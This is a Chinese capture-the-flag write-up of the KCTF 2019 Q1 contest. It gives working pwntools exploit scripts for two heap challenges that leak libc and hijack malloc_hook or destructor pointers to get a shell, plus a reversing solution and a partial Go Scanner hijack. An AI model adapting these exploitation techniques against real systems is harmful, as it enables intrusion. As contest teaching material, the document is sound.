KCTF 2019 Q1

我果然还是不太适合这种长时间作战
开赛第一天周末抢了两个pwn一血,然后就没有时间做题了
学校大二事情真多,第一周抽时间又做了一个repwn,简单分析了go pwn,第二周就彻底没时间了,不过究其原因还是太菜
go pwn占坑,等到完全读完go的内存分配机制再来写

My ID: 梅零落

0x01 拯救单身狗

一血,happy

Analyze

比较显然的两个点:
两个edit函数只判断指针是否存在,没有判断输入的int范围:
(为了符合理解,我把one和two rename交换了一下)

unsigned __int64 edit_singledog()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("which?");
  v1 = read_int();
  if ( one[v1] )                                // 数组溢出
  {
    puts("Oh,singledog,changing your name can bring you good luck.");
    read(0, (void *)one[v1], 0x20uLL);
    printf("new name: %s", one[v1]);
  }
  else
  {
    puts("nothing here");
  }
  return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 edit_luckydog()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("which?");
  v1 = read_int();
  if ( two[v1] )
  {
    puts("Oh,luckydog,What is your new name?");
    read(0, (void *)(two[v1] + 8LL), 0x18uLL);
    puts("your partner's new name");
    read(0, *(void **)two[v1], 0x20uLL);
  }
  else
  {
    puts("nothing here");
  }
  return __readfsqword(0x28u) ^ v2;
}

edit_singledog()不存在\x00截断,导致很容易leak

   puts("Oh,singledog,changing your name can bring you good luck.");
    read(0, (void *)one[v1], 0x20uLL);
    printf("new name: %s", one[v1]);

注意到标准错误stderr在两个数组上方,可以通过leak IO_FILE的 _IO_read_ptr来leak libc
因为two的结构体:struct{str *partner name; str own name;}
而后只需要在one中构造一个singledog的name为p64(malloc_hook_addr)
在 edit_luckydog() 时就可以利用数组溢出,在edit partner name时即会改写malloc_hook
将其改为one_gadget_addr,在再次create一次便可get shell
还有一点,这里libc版本未知,我是通过首先远程leak出一个 _IO_read_ptr ,而后改变本地libc版本,找到相同末位偏移的libc版本(2.27)

EXP

from pwn import *


context.log_level="debug"

def create1(name):
    p.sendlineafter(">>\n","1")
    p.sendafter("Name:\n",name)

def create2(name1,name2):
    p.sendlineafter(">>\n","2")
    p.sendafter("Name\n",name1)
    p.sendafter("name\n",name2)

def edit1(index,name):
    p.sendlineafter(">>\n","3")
    p.sendlineafter("?\n",str(index))
    p.sendafter("luck.\n",name)

def edit2(index,name1,name2):
    p.sendlineafter(">>\n","4")
    p.sendlineafter("?\n",str(index))
    p.sendafter("?\n",name1)
    p.sendafter("name\n",name2)

def fake():
    p.sendlineafter(">>\n","5")

#p=process("./apwn")
p=remote("211.159.175.39",8686)
create1("kirin")
create1("kirin")
create2("kirin","kirin")
create2("kirin","kirin")
fake()
fake()
create1("1")
edit1(0,"1")
p.recvuntil("new name: ")
heap_addr=u64(p.recv(6).ljust(8,"\x00"))-0x31
print hex(heap_addr)
edit1(-4,"11111111")
p.recvuntil("11111111")
libc_addr=u64(p.recv(6).ljust(8,"\x00"))-0x3ec703
one_gadget=libc_addr+0x10a38c
malloc_hook=libc_addr+0x3ebc30
create1(p64(malloc_hook))
print hex(libc_addr)
edit2(-79,"kirin",p64(one_gadget))
#gdb.attach(p)
p.sendlineafter(">>\n","1")
p.interactive()

0x02 C与C++

一血,again

Analyze

这里提供了两种malloc和free方式
两种分配方式都会每16字节进行一次存储,每一块包含function_ptr(析构)+16bytes string(c对应的func设为0,c++为&400F20)
不同点:
c++对应的分配会在chunk起始写入字节被分割的数目,但c不会:


c

c++

正是这种偏差,当我们用c方式malloc一个chunk,但是用c++进行free时
在c++对应的free:

void __fastcall delete_func(__int64 a1)
{
  void (***v1)(); // rdx
  void (***v2)(); // rbx
  void (*v3)(); // rax

  v1 = (void (***)())ptr[a1];
  if ( v1 )
  {
    v2 = &v1[3 * (_QWORD)*(v1 - 1)];
    while ( v2 != v1 )
    {
      while ( 1 )
      {
        v2 -= 3;
        v3 = **v2;
        if ( v3 == nullsub_1 )
          break;
        ((void (__fastcall *)(void (***)()))v3)(v2);
        v1 = (void (***)())ptr[a1];
        if ( v2 == v1 )
          goto LABEL_6;
      }
    }
LABEL_6:
    operator delete[](v2 - 1);
  }
  ptr[a1] = 0LL;
}

其会把chunk size当做分割数定位结束位置:

v2 = &v1[3 * (_QWORD)*(v1 - 1)];

但这样显然会远超过本chunk
所以当我们在目标位置写入一个指向其他函数的指针时(这里可以考虑在name处写入一个func addr,这样在目标地址写入name的地址,就会最终调用我们需要的function),当调用完这个函数v2指针减三,此处我们依然可控......,由此便可生成一条调用链:
leak libc->main func
回到main函数后依然利用此漏洞来调用one_gadget
由此便可get shell
注意leak问题:
在输出menu时有个函数:

void menu()
{
  int v0; // eax

  puts("1. malloc");
  puts("2. free");
  puts("3. new");
  puts("4. delete");
  puts("5. puts");
  puts("6. exit");
  __printf_chk(1LL, (__int64)">> ");
  if ( v0 == 0xDEADBEEF )
    leak();
}

当v0=0xDEADBEEF时调用,实际无法调用(至少没有直接方法)
但是进入此函数:

void leak()
{
  signed __int64 v0; // [rsp-8h] [rbp-8h]

  v0 = '\np%';
  __printf_chk(0LL, (__int64)&v0);
}

发现他可以leak一个地址
当我们写入调用链,其会输出libc中的一个地址
由此选择此函数进行leak

EXP

from pwn import *

context.log_level="debug"

def malloc(length,note):
   p.sendlineafter(">> ","1")
   p.sendlineafter("string\n",str(length))
   p.sendafter("string\n",note)

def delete(index):
   p.sendlineafter(">> ","4")
   p.sendlineafter("string\n",str(index))

#p=process("./candcpp")
p=remote("154.8.222.144",9999)
p.sendlineafter("name: ",p64(0x400e10)+p64(0x4009a0))
malloc(8,"kirin\n")
fake=(p64(0x602330)*2)[:15]
malloc(0x1f0,"a"*0x1b3+fake+p64(0x602328)*2+"\n")
delete(0)
libc_addr=int(p.recv(0xf),16)-0x6f690
print hex(libc_addr)
p.sendlineafter("name: ",p64(libc_addr+0xf02a4))
malloc(8,"kirin\n")
fake=(p64(0x602330)*2)[:15]
malloc(0x1f0,"a"*0x1c2+p64(0x602328)*2+"\n")
delete(2)
p.interactive()

0x03 Repwn

首先从第八位对预定义字符串进行比较:

.text:00401350                 movzx   eax, byte ptr [edx+ebp-38h]
.text:00401355                 cmp     al, [ecx+ebx]
.text:00401358                 jnz     short loc_40136C
.text:0040135A                 inc     edx
.text:0040135B                 inc     ecx
.text:0040135C                 cmp     edx, 0Bh
.text:0040135F                 jle     short loc_401350

即X1Y0uN3t
而后在sub_401460中:

int __cdecl sub_401460(char *Str)
{
  char Dest; // [esp+8h] [ebp-10h]

  if ( strlen(Str) == 0x18 )
  {
    if ( sub_4013B0((int)Str) )
    {
      Str[20] -= 88;
      Str[21] -= 70;
      Str[22] -= 3;
      Str[23] -= 107;
      strcpy(&Dest, Str);
    }
  }
  else
  {
    printf("String Length is Wrong");
  }
  return 0;
}

首先判断了字符串长度
而后进入sub_4013B0,是几个方程判断:

int __cdecl sub_4013B0(int a1)
{
  int v1; // ebx
  int v2; // ecx
  int v3; // esi
  int result; // eax

  str_to_num(a1);
  v1 = num[3] + 1000 * num[0] + 100 * num[1] + 10 * num[2];
  v2 = num[5] + 10 * num[4];
  v3 = num[7] + 10 * num[6];
  result = 2 * (v1 + v2);
  if ( result == 0xFC8 )
  {
    result = 3 * v2 / 2;
    if ( result + 100 * v3 == 0x73 )
    {
      result = 1;
      if ( v1 - 110 * v3 != 0x76C )
        result = printf("Key_Is_Wrong,Please_Input_Again!");
    }
  }
  return result;
}

大致推测前八位为十进制字符且分成三个数v1,v2,v3,而后由方程组解出三个数:

from z3 import *

x=Int('x')
y=Int('y')
z=Int('z')
solver=Solver()
solver.add((2*(x+y))%0xffffffff==0xfc8)
solver.add((2*(x+y))%0xffffffff==0xfc8)
solver.add((3*y/2+100*z)%0xffffffff==0x73)
solver.add((x-110*z)%0xffffffff==0x76c)
solver.add(x<9999)
solver.add(y<99)
solver.add(x>0)
solver.add(y>0)
solver.add(z>0)
solver.add(z<99)
print(solver.check())
print(solver.model())

得到:

sat
[z = 1, y = 10, x = 2010]

即前面8位为20101001
最后可以看到最后:

      Str[20] -= 88;
      Str[21] -= 70;
      Str[22] -= 3;
      Str[23] -= 107;
      strcpy(&Dest, Str);

存在溢出,类似2017年的一题
需要我们跳到另一处判断
我是通过字符串引用看到sub_4018B0处代码
上层引用看到401BF0处代码未定义,且有printf和system等操作(可疑)

key=[
  0xf0, 0x1b, 0x40, 0x00
]
key[0]+=88
key[1]+=70
key[2]+=3
key[3]+=107
for i in key:
  x+=chr(i%256)
print x

可以得到最后4字节HaCk
输入20101001X1Y0uN3tG00d即可跳到另一处加密
会再次输入并检测字符串,这里通过程序流的关键处理步骤,(好像PiED的插件也可以)可以看出是DES加密,密钥为XiyouNet(开始我把子秘钥位置当做密钥二进制卡了一大会,犯傻了):

from Crypto.Cipher import DES

key = 'XiyouNet'
kirin=DES.new(key,DES.MODE_ECB)
s=kirin.decrypt("\x9d\xb0\x84\xac\x97\x04\x1e\x30")
print s
#Wel1C0me
#Currect,Flag_Format_Is_Input1+Input2

第二步字符串:Wel1C0me

0x04 挖宝

先说明一个错误思路:
首先通过字符串判断是个go程序,使用golanghelper恢复符号表:


KCTF 2019 Q1_第1张图片
符号表

首先可以看到四个宝藏位置:(0,5),(5,0),(5,5),第4个没想到办法绕
当获得宝藏后会调用main_treasure:

  while ( (unsigned __int64)&retaddr <= *(_QWORD *)(__readfsqword(0xFFFFFFF8) + 16) )
    a3 = runtime_morestack_noctxt(note, a2, a4);
  main_print(a3, a4, note, a2, a5, r9_0, (__int64)"Please leave a message >> ", 26LL);
  main_scan(note, a2, v7, v8, v9, v10);
  v17 = main_memcpy(note, a2, v11, v12, v13, v14, a6, v15, v16);
  return main_println(v17, v18, note, a2, v19, v20, (__int64)"Please continue your journey!", 29LL);

即获取一次输入并copy到预先分配的一个位置,而这个位置分配的空间大小为0x30,因此这里存在溢出(具体go的内存分配机制可以在网上找到)
继续看可以发现main_scan内:

  while ( 1 )
  {
    v6 = __readfsqword(0xFFFFFFF8);
    if ( (unsigned __int64)&retaddr > *(_QWORD *)(v6 + 16) )
      break;
    runtime_morestack_noctxt(a1, a2, a3);
  }
  bufio__ptr_Scanner_Scan(a1, a2, a3, v6, a5, a6, io_arg);
  v10 = io_arg;
  v15 = 0LL;
  v16 = 0LL;
  if ( !io_arg )
    *(_DWORD *)io_arg = io_arg;
  v12 = *(_OWORD *)(v10 + 0x20);
  v13 = *(_QWORD *)(v10 + 0x30);
  runtime_slicebytetostring((__int64)&v12, a2, v7, v13, v8, v9, 0LL, (const __m128i *)v12, *((__int64 *)&v12 + 1));
  return v14;

注意到一个Scanner结构体io_arg,动态调试看到其分配位置0xC820018080(在本地开启随机化调试也会一直是此地址,基本上go内部实现的栈空间地址不会改变,但是通过pwntools启动地址会不同(虽然也不改变),不太明白为什么),这个位置距离溢出位置0x00000C8200122D0不是太远,调试中可以看到能被覆盖,在go的源码中看到:

type Scanner struct {
    r            io.Reader // The reader provided by the client.
    split        SplitFunc // The function to split the tokens.
    maxTokenSize int       // Maximum size of a token; modified by tests.
    token        []byte    // Last token returned by split.
    buf          []byte    // Buffer used as argument to split.
    start        int       // First non-processed byte in buf.
    end          int       // End of data in buf.
    err          error     // Sticky error.
    empties      int       // Count of successive empty tokens.
    scanCalled   bool      // Scan has been called; buffer is in use.
    done         bool      // Scan has finished.
}

可以看到其包含了两个函数指针,在ida中也可以看到有两处可以利用函数指针劫持程序流(bufio__ptr_Scanner_Scan函数):
1:

mov     [rsp+1B8h+var_18], r10
mov     [rsp+1B8h+var_1B8], r10 ; 1
mov     [rsp+1B8h+var_10], r8
mov     [rsp+1B8h+var_1B0], r8
mov     [rsp+1B8h+var_8], r9
mov     [rsp+1B8h+var_1A8], r9
mov     rbp, [rax+60h]
cmp     rbp, 0
setnz   byte ptr [rsp+1B8h+var_1A0]
mov     rdx, [rax+10h]
mov     rbx, [rdx]
call    rbx

2:

mov     [rsp+1B8h+var_48], r10
mov     [rsp+1B8h+var_1B0], r10
mov     [rsp+1B8h+var_40], r8
mov     [rsp+1B8h+var_1A8], r8
mov     [rsp+1B8h+var_38], r9
mov     [rsp+1B8h+var_1A0], r9
mov     [rsp+1B8h+var_A0], rbp
mov     [rsp+1B8h+var_1B8], rbp
mov     [rsp+1B8h+var_A8], rcx
mov     rbx, [rcx+20h]
call    rbx

所以我们根据对应条件来覆盖函数指针并劫持程序流即可,不过很容易发现,一旦覆盖,原本应该调用os__ptr_File_Read来获取输入流,覆盖后就完全没有办法控制程序,所以这里需要保证可以直接获取shell,观察程序,看到了go内部实现的syscall_Syscall:

call    runtime_entersyscall
mov     rdi, [rsp+arg_8]
mov     rsi, [rsp+arg_10]
mov     rdx, [rsp+arg_18]
xor     r10d, r10d
xor     r8d, r8d
xor     r9d, r9d
mov     rax, [rsp+arg_0]
syscall      

可以看到这里会根据栈中参数调用syscall
但是因为地址随机化,只能在go本身分配的栈中(地址确定)找是否含有此函数的指针,在0x00000C820000200处会一直存在syscall_Syscall+5


syscall
mov     rdi, [rsp+arg_8]
mov     rsi, [rsp+arg_10]
mov     rdx, [rsp+arg_18]
xor     r10d, r10d
xor     r8d, r8d
xor     r9d, r9d
mov     rax, [rsp+arg_0]
syscall      

不过最后我卡在了参数构造上,最接近的构造结果时syscall(0x3b,"/bin/sh",......,......),后面还需要两个参数(0,0),但是通过源码和静态汇编都可以看出没办法实现(源码详见/src/bufio/scan.go)(不排除有办法但是我审错了,但是实在没时间看了)
最后结果:


KCTF 2019 Q1_第2张图片
syscall

可以看到因为后面两个参数无法控制失败了,不过确实劫持了程序流到伪造的syscall_Syscall
虽然失败了,不过想来以后这个可能能用上,先记下来
实际上如果有leak,leak程序加载基址后完全可以伪造整个Scanner结构体造成任意地址写(buf可控),而栈地址已知,后面很简单就可以拿shell,或者leak libc后直接one_gadget来获得shell都可以,不过没想到leak方法才采取syscall方案,感觉预期解是利用go内存分配机制伪造span list指针啥的,不过没想到好的利用技巧,再加上时间上的不允许,只试验了这个方法
等抽时间彻底看完go的内存分配机制再来更新

你可能感兴趣的:(KCTF 2019 Q1)